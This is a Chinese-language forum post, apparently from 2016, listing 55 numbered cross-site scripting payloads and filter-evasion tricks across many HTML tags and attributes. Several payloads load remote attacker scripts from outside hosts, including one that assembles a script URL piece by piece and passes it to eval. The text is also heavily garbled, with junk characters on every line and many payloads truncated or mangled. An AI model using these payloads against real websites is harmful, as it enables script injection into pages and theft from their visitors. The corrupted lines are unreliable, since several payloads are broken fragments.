(1)普通的XSS JavaScript注入! `2 g2 J( ?( b; {+ k
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
) q H9 m; k8 W1 D' Z* {/ O(99)另类弹框0 d9 ~$ n0 S$ V. z
<q/oncut=alert()>1; Y5 Z. v/ E1 l# j3 n
<s/onclick=alert()>b
0 O" H9 Y% r( `1 M: W9 I+ T <XSS=" onclick="alert(1)//">clickme</SSX=">% i8 E4 i, Q4 V5 G9 H( f
<zzz onclick=alert`1`>clickme</zzz>
3 h# \5 }1 j$ D& d1 C <a onclick=alert`1`>clickme</a>
* U. c3 x7 u4 _<a=">clickme</a=">
7 G" X( M$ H+ ?<a=">clickme</a>
\5 e% A" l, k2 Z: W<z=">clickme</z=">
$ X8 m; |) |/ h. i5 q<z onclick=alert`1`>clickme</z>
/ L, O% ]& @. _: K% R* @4 a" K6 c- j2 Q% z) ?$ ^
(2)IMG标签XSS使用JavaScript命令0 s# i& y/ w6 q2 ?- T; r1 A
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>4 v6 J; q/ R# }6 `# T
# |+ _/ p, ]" U9 R(3)IMG标签无分号无引号
1 u/ @1 u9 W+ n3 i6 p0 o- Q j; z<IMG SRC=javascript:alert(‘XSS’)>* n" G4 ]! i$ {1 L/ ]; [8 B
# p# u* J6 |) S: j% y/ W% w) T
(4)IMG标签大小写不敏感
: o% P5 b* q5 u2 J# v<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
% q5 d; P, z( m, e
0 p) p6 o* k; C3 K- g(5)HTML编码(必须有分号)
2 {. a' v4 ^: O1 l2 L. r<IMG SRC=javascript:alert(“XSS”)>; d" T" |2 j" J5 S8 ]9 z
8 D" t: m, r% s: f) x6 U
(6)修正缺陷IMG标签
G7 k+ w) d# y" {" x<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>/ K+ ^9 A7 W* E- G- @2 t0 _
8 |4 L, a" e7 _(7)formCharCode标签(计算器)
' N; b' d: E* l0 e- W0 t<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>3 r" a. p" k, R9 A. O3 D7 i0 M
5 N) Y, N; ]: i- b: h0 P* h. u(8)UTF-8的Unicode编码(计算器)
' z$ w e" P, _<IMG SRC=jav..省略..S')>
1 c0 ?9 f# w1 U; B9 u* Y# C" g) J; W, s& p
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)% g' A) g5 b& j8 U# T% c8 H
<IMG SRC=jav..省略..S')>
# ]% h% i$ J. C* Q1 b+ c
1 d; \- b' G( c) j+ g(10)十六进制编码也是没有分号(计算器)
% R( }9 M) W1 E+ C y9 k; V2 z z5 a<IMG SRC=\'#\'" /span>8 o) d; s7 Y9 h$ ^% g% k+ K5 {; `
9 |9 e( k, ~( @" M9 V, G(11)嵌入式标签,将Javascript分开" v( ]: u, L, U: P
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
0 d6 b, J' ~. p) Q2 r
, `8 i. W; ^4 D$ C(12)嵌入式编码标签,将Javascript分开
8 A. a) g7 z: e<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>: V. K6 E1 b7 F% P& [2 |, d0 M Q0 M
# U. X! N- G( { N& A6 v5 }(13)嵌入式换行符' G3 }# {6 o7 [# G# F- s
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
2 W/ D$ k. a% U8 Z2 c1 _; d# G% e9 h
(14)嵌入式回车
! {1 b; w0 ? W; {<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
6 X6 [8 a4 K$ j
( l' P8 l7 C/ F* @4 h c( W- U4 F(15)嵌入式多行注入JavaScript,这是XSS极端的例子
# v2 X* ~! s0 O+ Q<IMG SRC=\'#\'" /span>
$ z" N) Z! `6 l) J0 h# ~! i
1 Q1 U" t) R: ?$ |7 q8 y- o(16)解决限制字符(要求同页面)" {9 L5 V2 q/ R+ w v7 |6 b
<script>z=’document.’</script>
( u! D9 F$ T0 v# h N( I<script>z=z+’write(“‘</script>3 Q5 a- ?- c& p \& m. Z
<script>z=z+’<script’</script>3 D5 Y7 N2 i1 `+ ^, Z3 _- o
<script>z=z+’ src=ht’</script>
) U& ?/ d& |6 [" y+ }$ }# d& m: U<script>z=z+’tp://ww’</script>
1 V) i9 I. V4 |0 C<script>z=z+’w.shell’</script>; `0 `5 S, g* C3 x+ ^
<script>z=z+’.net/1.’</script>7 s2 G/ h1 v e" t
<script>z=z+’js></sc’</script>5 r/ v, }( [# ^8 x7 N' `
<script>z=z+’ript>”)’</script>
: a/ @- `- B z- w$ n4 m% q2 U<script>eval_r(z)</script>9 T- r6 P0 r3 y. q
' B( N% H( s Q) g% X3 U
(17)空字符
+ B. @% _2 f$ M& kperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
1 g S7 d/ w9 }
( |/ E2 V8 [, `$ o( Q. C' {(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用9 i) v4 |+ T8 p' z7 p" x) b
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out4 x( Q7 b# A8 P' X- ^
# e& g2 ~* | m& p7 d6 a
(19)Spaces和meta前的IMG标签
- ~' H& }$ {/ ~9 r1 \<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
0 x2 [% m. F1 b$ Y! N% p
# M8 }$ V! q& Z# q' J(20)Non-alpha-non-digit XSS% J9 Q( O- w( ? H) H( {- G
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>0 v0 G0 x$ R: [4 ~5 q0 f7 g
" ]$ {3 p: _8 K) Q. o6 \0 s(21)Non-alpha-non-digit XSS to 2
/ I& u+ n4 B0 O& y. x7 t" s<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
- W7 M8 }& L. X) s8 n
4 Z8 d4 Z$ W. E& \! j1 R2 M(22)Non-alpha-non-digit XSS to 30 x x1 t! Y: b& s
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>+ E2 e* \; D9 H( I* ]
" M% @/ [/ w: E2 d/ u2 m' P y(23)双开括号
7 r7 b# P( Z: G. @ A<<SCRIPT>alert(“XSS”);//<</SCRIPT>
7 B5 z3 K0 C' E/ S* G& ^" s1 F# \6 S) O7 c$ b
(24)无结束脚本标记(仅火狐等浏览器)
7 _! |/ i0 _2 }' ]; ~. X% l<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
6 H/ q* J' Z; K! M* I s) K+ P' t1 t9 G# o1 T/ ~% I. f' J1 k1 b
(25)无结束脚本标记2$ ~& _! @' u# ]' y0 N) C6 D$ r. W5 T
<SCRIPT SRC=//3w.org/XSS/xss.js>( @5 F9 b, s) Q w
4 _/ O' e6 g: P+ X(26)半开的HTML/JavaScript XSS, \+ ~9 G6 y& y) F; t0 H" w; \
<IMG SRC=\'#\'" /span>
! q% L" {3 H& H7 u, z2 }6 y: }7 M
1 X" w0 Y( I% C& b(27)双开角括号
5 ~/ O( d3 s* @. i* O7 n. T& B<iframe src=http://3w.org/XSS.html <
0 \" j8 {- q+ q* x/ q' b# |8 t% W
) ]% t" s5 \4 z- |% U' R7 ^" q$ F1 m0 o(28)无单引号 双引号 分号
0 e' Y& Q4 r6 E* n. x$ @<SCRIPT>a=/XSS/9 b* N# K- t* B7 i0 ^ w
alert(a.source)</SCRIPT>! r9 H: {, D4 Z+ R) o3 E/ T7 ?& Q
' m8 T; E2 {2 [9 L8 V7 |; Z(29)换码过滤的JavaScript
u. a( I8 f2 I4 F9 B; w0 }( M\”;alert(‘XSS’);//. c/ T/ }% v6 t4 D0 d' E
3 H' N+ E( \" A0 s. R1 a(30)结束Title标签+ K& _# E+ ]% A5 s
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>* |/ l# X$ n8 U* m& X- [
7 P9 T- a7 ] P+ K! v
(31)Input Image
5 z5 }. \; I, @9 E6 y<INPUT SRC=\'#\'" /span>
: s$ M" O0 s5 K) Y
+ `$ g+ B( F( W5 E4 Q) ~(32)BODY Image
, H" F" m- Y/ x6 @ S) [( A<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
% h$ X/ s7 R1 C ~% |0 N
$ [4 `: @5 W& ](33)BODY标签, v7 `5 {3 B7 @6 r; N) {' Z9 T4 e
<BODY(‘XSS’)> Q- O: e2 A" Z' m# e- ~- k+ a
& z1 i) c9 ]& k/ p0 X2 I(34)IMG Dynsrc
& o7 n( ?- |5 D& q( o<IMG DYNSRC=\'#\'" /span>+ s$ U, C% X- [4 P
$ u2 G _: H/ Y$ ]) U; x6 i3 f(35)IMG Lowsrc9 T! j( T: H3 ~4 S+ `% r
<IMG LOWSRC=\'#\'" /span>4 s$ F+ R5 m" Q6 Z" `* Q! K
# i6 D1 S! Y# G% i8 Q* K2 A6 P(36)BGSOUND
5 L+ f' H' S) S4 ]) W; Y4 j<BGSOUND SRC=\'#\'" /span>) a$ \; k0 a6 }2 A: r
* ?5 G) ]# q4 s' f# f( p
(37)STYLE sheet
. B+ z1 S: G! p/ }0 t5 ~<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>" v9 v1 N8 w9 k ?7 Q- ?
& z) Q$ k |) B+ `7 X. f
(38)远程样式表
! q; t$ ?; D1 {1 c* ]. a<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
% }2 b, S) f2 [* c- Y6 m! A; ?0 E& {/ V
(39)List-style-image(列表式)- X% X! f9 @: N; o
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS- I( @$ {" o& }* J1 {
; J3 d' @$ w. v2 q2 Z, D(40)IMG VBscript! D1 x2 ^: u' C, W' U
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS8 L. f* a% b5 C* b1 g/ F9 a
, W/ E4 l7 O) z
(41)META链接url
5 \. Y; w4 G) l, K3 U8 J<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
3 D: ]4 ~7 k% ~* \% Y1 C
0 D5 z+ R2 R7 l0 r(42)Iframe6 {+ Y6 w- [! r$ S) b
<IFRAME SRC=\'#\'" /IFRAME>" _# ], g+ g+ ]. E; C$ w
' G9 [) x ~" h: ~: W9 j0 Y8 C(43)Frame
$ ^- X& W7 M q<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
~5 y0 ~7 h" _2 m6 k
. p8 C- C q- g/ Q(44)Table$ Y. N* \9 `4 L- @+ Z0 |, A
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>" c! u0 P& G: r) n8 P9 `8 [
1 g6 ^' q0 \- i, Z9 N# E+ j
(45)TD
! y- t9 H) ~0 D* T! ^( ]<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>6 ?' d* p1 B# d; y
/ V5 G2 P( X5 @8 d) q! f1 [% t) H' M) b
(46)DIV background-image4 ^ ]; w$ M' I3 h, _$ ^9 L
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>( d2 B6 x" q6 h: n2 q7 B2 e
% e$ I8 s) H% C) G; ^& ^* G% N+ {(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279), _1 K; K) c/ t4 K- p, h
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
5 e2 ]) v4 K2 I) f9 t1 L& Y
: y: j) x2 f k" j, w2 P(48)DIV expression8 ?' ]0 v* w( x7 y9 ~! A& n% R+ L
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>$ t: [ S8 N, P8 s5 d+ l9 q
' ^8 p7 B* J8 I! q* K
(49)STYLE属性分拆表达3 B- J/ F1 {4 H: y- _
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>7 T+ `+ D: K# N) j, v
, [5 B2 |$ c n. ] O3 ^# ?(50)匿名STYLE(组成:开角号和一个字母开头)
" b6 {$ i$ O3 S2 C<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
# S/ j! E! `# H8 }. \+ d- P* K A
3 t1 t1 d8 P7 | \(51)STYLE background-image
8 m) C) k9 d* \<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
( K. u! y1 H0 q! s/ S
4 y: ^, [! d: j+ q; {, m \7 Q/ j/ q(52)IMG STYLE方式
9 y( p* W4 k9 _; [% O l0 hexppression(alert(“XSS”))’>
6 u: e" k- u; u2 _2 P0 X" H
! N8 K1 r9 X, \. g9 z! H(53)STYLE background- c* L$ g, |5 C. a* l8 V3 M
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>; @% G3 x$ v2 c1 A$ U F+ ~
+ @* I" T! E- a& l* ^2 M
(54)BASE5 h) { h& Y8 N8 ?6 j) ]# m
<BASE HREF=”javascript:alert(‘XSS’);//”>
- U+ W* }- ?# H1 Q9 q7 Q" F8 z# \6 A5 t
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS. l$ L* q$ W2 _
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>+ ]5 X$ R. c3 \; H0 R6 }/ }0 \, b
|
发表于 2016-4-28 10:06:15
收藏
支持
反对